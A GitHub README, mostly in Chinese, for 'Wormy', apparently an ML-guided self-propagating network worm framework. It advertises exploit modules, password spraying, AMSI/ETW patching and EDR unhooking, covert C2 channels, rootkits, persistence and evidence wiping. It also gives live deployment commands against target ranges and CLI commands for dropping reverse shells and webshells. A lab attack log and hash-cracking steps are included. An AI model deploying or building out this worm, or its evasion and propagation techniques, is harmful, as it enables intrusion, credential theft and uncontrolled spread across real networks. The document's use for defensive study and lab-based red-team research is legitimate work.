Ruby570bocadito/Wormy-ML-Network-Worm

GitHub: Ruby570bocadito/Wormy-ML-Network-Worm

一个基于强化学习的自主网络传播平台,通过智能目标优先级排序和28种漏洞利用模块在授权环境中模拟高级持续性威胁。

Stars: 1 | Forks: 1

🐛 Wormy — ML Network Worm v3.0

ML-Driven Autonomous Network Propagation Platform

Version Python License Exploits Evasion AD Tests Docker Lab

Developed by Ruby570bocadito

## 目录 - [概述](#overview) - [功能特性](#features) - [v3.0 企业模块](#v30-enterprise-modules-new) - [快速开始](#quick-start) - [一键自动化](#one-command-automation) - [使用说明与命令](#usage--commands) - [Web 仪表板](#web-dashboards) - [交互式 CLI](#interactive-cli) - [架构设计](#architecture) - [ML 大脑](#the-ml-brain) - [漏洞利用模块](#exploit-modules) - [企业密码引擎](#enterprise-password-engine) - [企业规避引擎](#enterprise-evasion-engine) - [Active Directory 模块](#active-directory-module) - [持久化引擎](#persistence-engine) - [Docker 实验室](#docker-lab) - [行动后清理](#post-engagement) - [配置说明](#configuration) - [项目结构](#project-structure) - [环境要求](#requirements) - [许可证](#license) ## 概述 Wormy 是一个**ML 驱动的网络传播框架**,专为授权的红队行动设计。它将基于强化学习的决策制定与企业级漏洞利用技术相结合,用于在受控环境中模拟高级持续性威胁(APT)。 ### 独特之处 - 🧠 **RL 大脑** — 根据资产价值学习优先攻击目标(DC=100,DB=70,工作站=10) - 🔍 **TCP 探测扫描器** — 适用于 Docker Desktop / Windows / NAT 环境下(无需 ICMP) - 🥷 **真正的 AMSI/ETW/DLL 卸载规避** — 非存根,而是实际的内存修补 - 🏢 **Active Directory** 攻击链:LDAP 枚举 → AS-REP Roast → Kerberoast(无需凭据) - 🔄 **OTA 大脑更新** — 通过 C2 接收新模型权重,热替换无需重启 - 🔑 **智能凭据变异**:`Admin` → `Adm!n123`、`Admin@2024`、`4dm1n` ## 功能特性 ### 🧠 ML/RL 引擎 - DQN + Thompson Sampling 自适应目标优先级排序 - 资产价值感知奖励函数 - 通过 C2 进行 OTA 权重更新(热替换无需重启) - 上下文多臂老虎机:UCB1 排序的凭据顺序 - 首次运行无模型时自动训练 ### 🔍 企业扫描器 v2 - TCP SYN 探测主机发现 — 适用于 Docker Desktop / Windows / NAT 环境 - 横幅抓取 + 操作系统指纹识别(无需 nmap) - 资产分类:域控制器、Exchange、数据库服务器、容器主机、工作站 - 35 个端口定义及加权服务检测 ### 🔓 漏洞利用引擎(28 个模块) | 服务 | 技术 | |---|---| | Redis | NoAuth 访问、CONFIG SET RCE、AUTH 暴力破解、SLAVEOF 渗透 | | Elasticsearch | NoAuth API 导出、Painless 脚本 RCE、Kibana SSRF | | Jenkins | Groovy 脚本控制台 RCE | | MySQL/MSSQL/Postgres/MongoDB | 默认凭据利用 | | SSH/FTP/Telnet | 协议感知暴力破解 | | SMB | 哈希传递、EternalBlue | | Exchange | ProxyLogon / ProxyShell | | Active Directory | LDAP 枚举、AS-REP Roast、Kerberoasting | | Log4j | CVE-2021-44228 JNDI 注入 | | Citrix/VMware vCenter | 基于 CVE 的 RCE | | Struts/WebLogic | 远程代码执行 | | Docker daemon | 未认证 API 滥用 | | Kubernetes | Kubelet API 利用 | ### 🔑 企业密码引擎 - 带锁定保护的密码喷洒(每个窗口 1 个密码 × N 个目标) - 变异引擎:每个基础词 35+ 种变体 - 基于公司的密码生成 - 来自泄露列表的凭据填充 - 可配置线程池的并行执行 - 协议处理器:SSH、FTP、MySQL、Postgres、MSSQL、MongoDB、HTTP ### 🥷 企业规避引擎 - 通过 `AmsiScanBuffer` 内存修补实现 AMSI 绕过 - 通过 `EtwEventWrite` 修补实现 ETW 静默 - DLL 卸载(恢复 ntdll.dll 干净副本) - 沙箱检测(进程、构件、时间、RAM、用户名) - 3 层 payload 混淆:XOR + RC4 + Base64 - 睡眠抖动(对数正态分布 — 规避 SIEM 信标检测) - LOLBins 包装器:certutil、mshta、rundll32、wmic、PowerShell 编码 ### 🏢 Active Directory 模块 - 通过端口签名(88+389)和 DNS SRV 记录发现 DC - LDAP 枚举(匿名会话或认证) - AS-REP Roast:无凭据的可破解哈希 - Kerberoasting:TGS 票据提取 → hashcat -m 13100 ### 🔄 多协议 C2 + OTA - HTTP/HTTPS 信标配置可调抖动 - **DNS-over-HTTPS(DoH)** 隐蔽信道(1.1.1.1 / 8.8.8.8 TXT 记录) - **域名前置** 通过 CDN Host 头覆盖 - **P2P Gossip 网格** — 代理之间共享情报无需 C2 - **加密 SQLite 命令队列** — 命令在 C2 离线期间仍可存活 - 指数退避(1s → 300s)带抖动 - OTA 大脑更新:发送 `.pth` 模型权重,热替换无需重启 - 加密遥测(AES-GCM) ## v3.0 企业模块(新增) ### 🔀 波浪传播引擎(`core/wave_propagation.py`) - 基于波浪的传播:W0(初始目标)→ W1(内部子网)→ WN - **通过 SSH 的透视扫描器** — 从被攻陷主机扫描内部子网 - **自复制传输** — SSH(sftp + nohup)和 SMB(impacket)传播 - **传播图** — 有向图防止重复感染循环 - 从每个被攻陷主机收集情报(15 个命令) ### 🤖 代理控制器(`core/agent_controller.py`) - **每个被攻陷主机的持久 SSH 会话池** - **心跳监控**(60s)带自动重感染回调(针对死亡代理) - 每个代理的任务队列(如果代理临时离线则持久化) - **快速情报收集器** — 主机名、sudo、SUID、环境密钥、SSH 密钥、云元数据 - 来自实时情报的资产价值评分(root=+40,云 IAM=+35) - 按价值排序的透视(`get_best_pivots(top_n=N)`) ### 🔁 弹性 C2 引擎(`c2/resilient_c2.py`) - **DoH 信道**:通过 1.1.1.1/8.8.8.8 进行 TXT 记录信标 - **域名前置**:通过 Cloudflare/Azure CDN 覆盖 Host 头 - **P2P Gossip**:代理点对点共享情报,无需中央 C2 - **加密 SQLite 队列**:命令在 C2 离线期间仍可存活 - 指数退避 + 抖动(1s → 300s) - OTA 模型交付带 SHA256 验证 + 原子写入 ### 🔬 高级多态引擎(`evasion/advanced_polymorphic.py`) - **AST 级变形** — 在抽象语法树级别重写代码 - **语义 NOP 注入** — 死代码改变哈希但不改变逻辑 - **网络指纹随机化** — 动态 TTL、UA、抖动、HTTP 头 - 哈希验证循环 — 确保每个变体都有唯一哈希 - 多层字符串混淆(chr() + base64 + XOR) ### 🛡️ 高级自愈(`core/advanced_self_healing.py`) - **SHA256 完整性检查** — 检测 AV/EDR 文件修改 - **重持久化防护** — 如果注册表/cron/systemd 被删除则重建 - **进程看门狗** — 守护子进程在父进程被杀死时重新启动 证据清理 — 日志、shell 历史、临时文件 - `perform_health_check()` 返回每个组件的健康分数 ### 🧹 行动后工具包 - **`scripts/cleanup_engagement.py`** — 清理所有被攻陷主机上的 SSH - 移除蠕虫文件、systemd/cron 持久化、authorized_keys 条目 - 清除本地日志、SQLite 队列、shell 历史、临时文件 - 行动报告的审计跟踪 JSON - **`utils/bloodhound_export.py`** — BloodHound 4.x JSON 导出 - 计算机、用户、组,带 kerberoastable/asrep 标志 - 直接导入 BloodHound 进行攻击路径可视化 ### 🚀 一键部署(`scripts/deploy_kali.sh`) - 自动检测自身 IP → 成为 C2 - 安装所有系统 + Python 依赖 - 在本主机构建并启动 C2 服务器 - 自动修补 config.yaml - 验证所有模块、预检、kill switch 设置 ### 🛠️ v3.0 工业级(新增) #### 🥷 高级规避层(`evasion/`) - **实时内存修补** — 通过直接内存修改实现功能性 AMSI 和 ETW 静默。 - **硬件断点绕过** — 使用调试寄存器(DR0-DR7)规避内存钩子。 - **直接 NT 系统调用** — 动态 SSN 解析和干净系统调用存根,绕过 EDR 用户态钩子。 - **睡眠混淆** — 信标睡眠期间堆加密 + 栈欺骗。 - **JA3 指纹欺骗** — 模拟 Chrome 120 / Firefox TLS 签名以融入浏览器流量。 #### 📡 隐蔽 C2 与加密(`c2/`) - **完全前向保密(PFS)** — X25519 ECDH + AES-256-GCM 认证加密。 - **ICMP 隧道** — 通过原始 ICMP Echo 数据包实现全双工 C2。 - **云中继 C2** — 通过 Telegram Bot API、Slack Webhooks 和 Google Sheets 进行命令与控制。 #### 💾 专业后渗透(`post_exploit/`) - **VSS NTDS 提取** — 使用卷影复制提取 `ntds.dit` 以绕过文件锁。 - **云侦察与攻击** — AWS(IMDSv2)、Azure、GCP 和 Kubernetes 服务账户模块。 - **DCOM 横向移动** — 通过 ShellWindows 和 MMC20 执行,无需生成 `powershell.exe`。 #### 🤖 自主代理与内核(`stager/`、`kernel/`) - **Go Stager** — 无 Python 运行时的独立代理;反调试/沙箱 + 内存注入。 - **Windows 内核驱动** — DKOM 进程隐藏和类似 PPL 的保护(.sys)。 - **Linux LKM Rootkit** — 系统调用钩子(getdents64)隐藏文件、PID 和连接。 - **eBPF 隐蔽钩子** — 现代 Linux 遥测抑制,无需加载内核模块。 #### 📊 行动管理(`monitoring/`、`utils/`) - **多操作员服务器** — 带基于角色的访问控制(RBAC)的 JWT 认证 API。 - **审计跟踪** — 完整 SQLite 记录操作员操作、时间戳和目标。 - **MITRE ATT&CK 映射器** — 自动生成 ATT&CK Navigator JSON 层和事件日志。 - **动态插件系统** — 基于清单注册的可热重加载模块。 ## 快速开始 ``` # 克隆 git clone https://github.com/Ruby570bocadito/Wormy-ML-Network-Worm cd Wormy-ML-Network-Worm # 安装所有依赖项 pip install -r requirements.txt # 部署 Docker 实验室(安全隔离环境) docker compose -f docker-compose-lab.yml up -d # 对 Docker 实验室运行(Windows 兼容注入模式) python -X utf8 tests/test_docker_lab.py # 完整扫描 + 利用模式(Linux / 授权环境) sudo ./scripts/deploy_kali.sh --live --target 192.168.1.0/24 ``` ## 一键自动化 ``` # 此主机成为 C2。一切自动: sudo ./scripts/deploy_kali.sh # prepare (dry-run) sudo ./scripts/deploy_kali.sh --live # prepare + attack sudo ./scripts/deploy_kali.sh --live --target 10.0.1.0/24 --with-msf ``` 约 2 分钟内完成: 1. 自动检测您的 IP → C2 服务器在您的机器上启动 2. 安装 impacket、scapy、ldap3、pymssql、paramiko、bloodhound... 3. 构建 Go C2 或在 8443 端口启动 Python HTTPS 监听器 4. 使用您的 IP 和目标范围修补 `config.yaml` 5. 验证所有 10 个蠕虫模块 6. 预检:C2 健康、DoH、目标网关 ping 7. 启动 `worm_core.py`(仅在 `--live` 时) ## 使用说明与命令 ``` # 交互模式,完整 CLI(推荐) python3 worm_core.py --dry-run --interactive # 试运行 — 安全模拟,无真实利用 python3 worm_core.py --dry-run --profile audit # 隐形配置文件 — 缓慢、谨慎、完全规避激活 python3 worm_core.py --profile stealth # 激进配置文件 — 快速、最大传播 python3 worm_core.py --profile aggressive # 仅扫描 — 发现 + 分类主机,不利用 python3 worm_core.py --scan-only # 使用 Metasploit — 通过 RPC 进行真实 CVE 利用 python3 worm_core.py --config configs/config_msf.yaml # 针对 Docker 实验室(Windows 兼容,无 ICMP) python3 tests/run_worm_vs_lab.py # 紧急停止开关 — 紧急停止 python3 worm_core.py --kill-switch "STOP_WORMY_NOW" ``` ### 命令行参数 | 参数 | 描述 | |---|---| | `--config ` | 使用的配置文件 | | `--scan-only` | 扫描网络并退出 | | `--kill-switch ` | 激活 kill switch | | `--profile ` | 配置文件:`stealth`、`aggressive`、`audit` | | `--dry-run` | 模拟执行但不进行真实漏洞利用 | | `--no-monitor` | 禁用 CLI 监控 | | `--interactive` | 交互式 CLI 模式 | ## Web 仪表板 Wormy 启动时,会自动启动两个 Web 仪表板: ### Armitage 仪表板 — http://localhost:5001 受 Metasploit Armitage GUI 启发的可视化网络地图: - **网络地图**:带颜色编码状态的主机图标(绿色=已感染,红色=失败,蓝色=已发现) - **统计**:已感染、已发现、失败主机的实时计数 - **活动提要**:带时间戳的实时事件日志 - **上下文菜单**:右键单击主机进行漏洞利用、扫描、查看漏洞 - **自动刷新**:每 3 秒更新 ### Web 仪表板 — http://localhost:5000 专业监控仪表板: - **8 个统计卡片**:已感染、已发现、漏洞利用、漏洞利用链、横向移动、凭据、C2 信标、多态变体 - **主机表**:IP、操作系统、状态、健康状况、payload 变体 - **8 个 REST API 端点**:`/api/status`、`/api/hosts`、`/api/activity`、`/api/vulnerabilities`、`/api/credentials`、`/api/topology`、`/api/stats`、`/api/command` | 位置 | URL | |---|---| | 本机 | http://localhost:5001 (Armitage) / http://localhost:5000 (Web) | | 同一网络 | http://192.168.1.X:5001 / http://192.168.1.X:5000 | ## 交互式 CLI 使用 `python3 worm_core.py --dry-run --interactive` 启动 ### 扫描与发现 | 命令 | 描述 | |---|---| | `scan [professional\|basic]` | 带可视化进度条扫描网络 | | `targets` | 列出所有已发现主机 | | `vulns ` | 显示目标的漏洞 | | `topo` | 生成网络拓扑可视化 | ### 漏洞利用 | 命令 | 描述 | |---|---| | `exploit ` | 漏洞利用特定目标 | | `chain ` | 显示目标的漏洞利用链 | | `bruteforce [service]` | 暴力破解凭据 | | `deploy [type]` | 部署 payload(reverse_shell、beacon、webshell) | | `exec ` | 在被感染主机上执行命令 | | `persist [methods]` | 建立持久化 | ### 横向移动 | 命令 | 描述 | |---|---| | `pivot ` | 显示从主机开始的横向移动选项 | ### 监控 | 命令 | 描述 | |---|---| | `status` | 当前传播状态 | | `hosts` | 主机监控仪表板 | | `monitor` | 实时主机监控 | | `activity [limit]` | 实时活动提要 | | `evasion` | 显示规避状态和应用的技术 | | `creds` | 显示已发现的凭据 | ### 执行 | 命令 | 描述 | |---|---| | `run [iterations]` | 开始 N 次迭代的传播 | | `stop` | 停止传播 | | `report` | 生成完整审计报告 | ## 架构设计 ### 系统概览 ``` graph TB subgraph "Worm Core v3.0" WC[worm_core.py] SM[Enterprise Scanner v2] RL[RL Brain DQN+Thompson] EM[Exploit Manager] KG[Knowledge Graph] end subgraph "Enterprise Engines" EPE[Password Engine
Spray+Brute+Stuffing] EEE[Evasion Engine
AMSI+ETW+DLL] ADA[AD Attacker
LDAP+AS-REP+Kerb] EPS[Persistence Engine
WMI+SSH+Cron] end subgraph "Exploit Modules x28" RED[Redis RCE] ELS[Elasticsearch Dump] JEN[Jenkins Groovy] SMB[SMB/EternalBlue] SSH[SSH Brute] ADE[AD Kerberoast] end subgraph "Post-Exploitation" LM[Lateral Movement] CD[Credential Dumping] EXF[Data Exfiltration] end subgraph "C2 + OTA" C2[Multi-Protocol C2] OTA[OTA Brain Update] end subgraph "Dashboards" ARM[Armitage :5001] WEB[Web Dashboard :5000] CLI[Rich Terminal Monitor] end WC --> SM & RL & EM & KG WC --> EPE & EEE & ADA & EPS EM --> RED & ELS & JEN & SMB & SSH & ADE EM --> LM --> CD --> EXF WC --> C2 --> OTA WC --> ARM & WEB & CLI ``` ### 传播流程 ``` sequenceDiagram participant W as Worm Core participant S as Enterprise Scanner v2 participant RL as RL Brain participant EV as Evasion Engine participant EM as Exploit Manager participant AD as AD Attacker participant PE as Persistence W->>S: scan_range(cidr) TCP-probe S-->>W: hosts sorted by asset_value W->>AD: attack(hosts) — find DCs AD-->>W: LDAP enum + AS-REP hashes W->>RL: select_next_target(hosts) RL-->>W: highest-value target W->>EV: apply_all() AMSI+ETW+sandbox EV-->>W: evasion confirmed W->>EM: exploit_target() EM-->>W: success + credentials W->>PE: establish(payload_path) PE-->>W: Registry/WMI/SSH key W->>RL: provide_feedback(reward) Note over RL: reward=asset_value×stealth_bonus ``` ## ML 大脑 RL 代理使用 **Double DQN** 配合 Thompson Sampling 进行探索: ``` graph LR subgraph "State Space (15 features/host)" VULN[Vulnerability Score] PORT[Port Count + Services] OS[OS Encoding] ASSET[Asset Type Value] CRED[Credential Count] HIST[Exploit History] RISK[Detection Risk] HOP[Hop Distance] end subgraph "DQN Network" I[Input Layer 15×N] --> H1[Dense 256 ReLU] H1 --> H2[Dense 256 ReLU + Dropout] H2 --> H3[Dense 128 ReLU] H3 --> O[Output — N actions] end subgraph "Training" PER[Prioritized Replay] HUB[Huber Loss] GC[Gradient Clipping] STU[Soft Target τ=0.005] end VULN & PORT & OS & ASSET & CRED & HIST & RISK & HOP --> I O --> PER --> HUB --> GC --> STU ``` ### 资产价值奖励函数 ``` ASSET_VALUES = { 'domain_controller': 100, # Crown jewel 'container_host': 90, # K8s/Docker pivot 'exchange_server': 80, # Email + credentials 'database_server': 70, # Data exfil 'file_server': 60, # Lateral movement 'web_server': 30, # Initial access 'workstation': 10, # End user } # 隐形奖励乘数 TECHNIQUE_MULTIPLIERS = { 'kerberoasting': 1.5, # Silent, no network noise 'pass_the_ticket': 1.3, 'ssh_pivot': 1.1, 'exploit_rce': 0.9, 'brute_force': 0.8, # Noisy — penalised } ``` ## 漏洞利用模块 所有 28 个模块都继承自 `BaseExploit` 并插入 `ExploitManager`: ``` class Redis_Exploit(BaseExploit): # NoAuth PING → CONFIG SET RCE → BGSAVE # AUTH brute (15 common passwords) # SLAVEOF master takeover for exfil class Elasticsearch_Exploit(BaseExploit): # /_cat/indices enum → sensitive index detection # Painless script RCE check # Kibana SSRF detection (port 5601) # Snapshot API abuse class ActiveDirectory(BaseExploit): # LDAP null session enum (users, SPNs, admin groups) # AS-REP Roasting → $krb5asrep$23$ hashes # Kerberoasting → $krb5tgs$23$ hashes # Output: hashcat -m 18200 / -m 13100 ready ``` ## 企业密码引擎 ``` Input: 'Admin' Mutations generated (35+): Admin, admin, ADMIN, Admin! Admin1, Admin123, Admin2024 Admin@2024, Admin@123 4dm1n, 4dm1n!, 4dm1n123 !Admin!, Admin#1, Admin@1 AdminWinter2024, AdminSummer2024 ... Company-based (AcmeCorp → 43 passwords): AcmeCorp!, AcmeCorp2024, acmecorp123 Welcome1, Welcome2024, AcmeCorp@123 ... Spray mode (lockout-safe): Round 1: 'Welcome1' × 50 targets (parallel) [wait 300s anti-lockout window] Round 2: 'Password123' × 50 targets (parallel) ``` ## 企业规避引擎 启动时的执行顺序: ``` 1. SandboxDetector.is_sandboxed() → Check: Cuckoo process, VirtualBox, VMware, debuggers → Check: Timing attack (accelerated time = sandbox) → Check: RAM < 1.5GB, CPU count ≤ 1 → If sandbox: sleep 300-600s and exit 2. DLLUnhooker.unhook_ntdll() → Read clean ntdll.dll from C:\Windows\System32\ → Map .text section → restore original syscall stubs → EDR API hooks removed 3. ETWSilencer.silence() → Patch EtwEventWrite with single RET byte → Kernel telemetry blind 4. AMSIBypass.bypass() → Patch AmsiScanBuffer → always returns AMSI_RESULT_CLEAN → PowerShell scripts unscanned 5. BeaconJitter.sleep_jitter() → log-normal distribution (σ=0.3) → Beacon interval varies ±30% — SIEM pattern detection fails ``` ## Active Directory ``` Target network: 10.0.0.0/8 Enterprise Scanner finds: 10.0.1.5 (ports 88, 389, 445, 636) → AD Attacker triggered automatically Phase 1 — DC Discovery Port signature: 88+389 = Domain Controller confirmed DNS SRV: _ldap._tcp.dc._msdcs.corp.local → 10.0.1.5 Phase 2 — LDAP Enumeration (null session) Users found: 847 Computers found: 312 AS-REP roastable: 12 accounts (no preauth) Kerberoastable SPNs: 8 service accounts Phase 3 — AS-REP Roasting (no credentials needed) Captured: $krb5asrep$23$svc_backup@corp.local:... Captured: $krb5asrep$23$john.doe@corp.local:... → hashcat -m 18200 hashes.txt rockyou.txt Phase 4 — Kerberoasting (any domain user) Captured: $krb5tgs$23$*svc_sql$corp.local*... → hashcat -m 13100 hashes.txt rockyou.txt ``` ## 持久化引擎 | 平台 | 方法 | 权限 | 隐蔽性 | |---|---|---|---| | Windows | 注册表运行键(HKCU) | 用户 | 中 | | Windows | 计划任务(SYSTEM) | 管理员 | 中 | | Windows | WMI 事件订阅 | 管理员 | ⭐ 高 | | Windows | 启动文件夹 | 用户 | 低 | | Linux | 用户 crontab(@reboot) | 用户 | 中 | | Linux | /etc/cron.d/ | Root | 中 | | Linux | Systemd 用户服务 | 用户 | ⭐ 高 | | Linux | SSH authorized_keys | 用户 | ⭐ 高 | | Linux | LD_PRELOAD | Root | ⭐⭐ 非常高 | | Linux | .bashrc/.zshrc 注入 | 用户 | 低 | ## Docker 实验室 ### 启动实验室 ``` docker compose -f docker-compose-lab.yml up -d ``` ### 服务 | 容器 | 端口 | 服务 | 漏洞 | |---|---|---|---| | lab_redis | 6379 | Redis 7 | AUTH + CONFIG RCE | | lab_mysql | 3306 | MySQL 5.7 | 默认凭据 root:root | | lab_postgres | 5432 | PostgreSQL 14 | 默认凭据 admin:admin123 | | lab_mongodb | 27017 | MongoDB 6 | NoAuth 访问 | | lab_mssql | 1433 | MSSQL 2019 | SA 默认密码 | | lab_jenkins | 8080 | Jenkins LTS | Groovy 控制台 RCE | | lab_elasticsearch | 9200 | Elasticsearch 7 | NoAuth 数据导出 | | lab_rabbitmq | 5672/15672 | RabbitMQ 3 | 默认 guest:guest | | lab_juice | 3000 | OWASP Juice Shop | Web 漏洞 | ### 测试结果(实时) ``` Services reachable: 10/11 Services pwned: 5/10 ✅ MySQL — Default creds root:root ✅ PostgreSQL — Default creds admin:admin123 ✅ MongoDB — NoAuth listDatabases ✅ Elasticsearch — NoAuth index dump ✅ Juice Shop — HTTP 200 web access ⚠️ Redis — AUTH enabled (brute needed) ⚠️ RabbitMQ — 401 (creds needed) ⚠️ Jenkins — 403 (CSRF token needed) OTA Brain Update: ✅ OK ``` ### 运行测试 ``` # 企业模块验证(全部本地,无需 Docker) python tests/test_enterprise_modules.py # 实时 Docker 实验室攻击 python tests/run_worm_vs_lab.py # Docker 服务集成测试 python tests/test_docker_lab.py # 高级功能(模拟隔离) python tests/test_advanced_features.py ``` ## 配置说明 编辑 `configs/lab_docker.yaml` 或 `configs/config.yaml`: ``` network: target_ranges: - "192.168.100.0/24" # Docker lab # - "10.0.0.0/8" # Enterprise internal max_threads: 50 scan_timeout: 2.0 propagation: mode: "aggressive" # aggressive | stealth | scan-only max_infections: 100 evasion: stealth_mode: true detect_ids: true safety: geofence_enabled: true allowed_networks: - "192.168.100.0/24" kill_switch_code: "STOP_WORMY_NOW" max_runtime_hours: 4 auto_destruct_time: 8 ml: use_pretrained: true rl_agent_path: "models/rl_agent" ``` ### 配置文件 | 配置文件 | 速度 | 规避 | 噪音 | 使用场景 | |---|---|---|---|---| | `stealth` | 慢 | 最大 | 最小 | 生产环境红队 | | `aggressive` | 快 | 最小 | 高 | 内部实验室 | | `audit` | 中 | 关闭 | 低 | 授权审计 | ## 项目结构 ``` wormy/ ├── worm_core.py # Main orchestrator (2563 lines) ├── configs/ │ ├── config.yaml # Default config │ └── lab_docker.yaml # Docker lab config ├── scanning/ │ ├── enterprise_scanner.py # TCP-probe scanner v2 ★ │ └── professional_scanner.py # Async scanner (async) ├── exploits/ │ ├── exploit_manager.py # Exploit dispatcher (28 modules) │ ├── enterprise_password_engine.py # Spray/brute/stuffing ★ │ ├── active_directory.py # AD: LDAP/AS-REP/Kerberoast ★ │ ├── credential_manager.py # UCB1 credential ranking │ └── modules/ │ ├── redis_exploit.py # Redis RCE v2 ★ │ ├── elasticsearch_exploit.py # ES data dump v2 ★ │ ├── jenkins_exploit.py │ ├── mssql_exploit.py │ ├── ssh_exploit.py │ ├── smb_exploit.py │ └── ... # 22 additional modules ├── evasion/ │ ├── enterprise_evasion.py # AMSI/ETW/DLL/obfuscation ★ │ ├── edr_bypass.py │ ├── polymorphic_engine.py │ ├── ids_evasion.py │ └── stealth_engine.py ├── post_exploit/ │ ├── persistence_enterprise.py # WMI/SSH keys/LD_PRELOAD ★ │ ├── persistence.py │ ├── lateral_movement.py │ ├── credential_dumping.py │ └── data_exfiltration.py ├── c2/ │ └── multi_protocol_c2.py # C2 + OTA brain updates ├── rl_engine/ │ └── propagation_agent.py # DQN + Thompson Sampling ├── docker-compose-lab.yml # Vulnerable lab environment └── tests/ ├── run_worm_vs_lab.py # Live lab test ★ ├── test_docker_lab.py # Docker integration tests ├── test_enterprise_modules.py # Enterprise module validation ★ └── test_advanced_features.py # Unit tests (mock-isolated) ``` ★ = v3.0 新增或升级 ## 环境要求 ``` pip install -r requirements.txt ``` ### 核心(必需) ``` torch>=2.0.0 # RL Brain impacket>=0.11.0 # SMB, Kerberos, NTLM attacks paramiko>=3.4.0 # SSH exploitation requests>=2.31.0 # HTTP exploitation rich>=13.0.0 # Terminal dashboard psutil>=5.9.0 # Process/sandbox detection pyyaml>=6.0.1 # Configuration networkx>=3.0 # Knowledge graph ``` ### 企业版(解锁完整功能) ``` pymysql>=1.1.0 # MySQL exploitation pymongo>=4.0.0 # MongoDB exploitation psycopg2-binary>=2.9 # PostgreSQL exploitation ldap3>=2.9.0 # Active Directory enumeration dnspython>=2.4.0 # DNS DC discovery ``` ### 可选 ``` scapy>=2.5.0 # Raw packet crafting python-nmap>=0.7.1 # Nmap integration gymnasium>=0.29.0 # RL training environment ``` ## 安全控制 | 控制 | 描述 | |---|---| | Kill switch | `STOP_WORMY_NOW` 立即停止所有操作 | | 地理围栏 | 仅限制在定义的网络范围内 | | 最大感染数 | 被攻陷主机数量硬上限 | | 最大运行时间 | 配置小时数后自动关闭 | | 自动销毁 | 时间限制后清理证据 | | 沙箱退出 | 检测分析环境 → 进入休眠状态 | | 加密遥测 | AES-256 C2 通信 | ## 许可证 MIT 许可证 — 仅供授权的安全研究和渗透测试使用。 **© 2024 Ruby570bocadito** — [GitHub](https://github.com/Ruby570bocadito/Wormy-ML-Network-Worm)
标签:AD域攻击, Apex, Docker实验环境, Kerberoast, Python, SNMP, StruQ, Web仪表盘, XXE攻击, 域名收集, 无后门, 无线安全, 机器学习, 横向移动, 深度Q学习, 特权检测, 编程规范, 网络传播, 网络安全, 网络安全审计, 网络蠕虫, 自动化渗透工具, 自适应规避, 请求拦截, 逆向工具, 隐私保护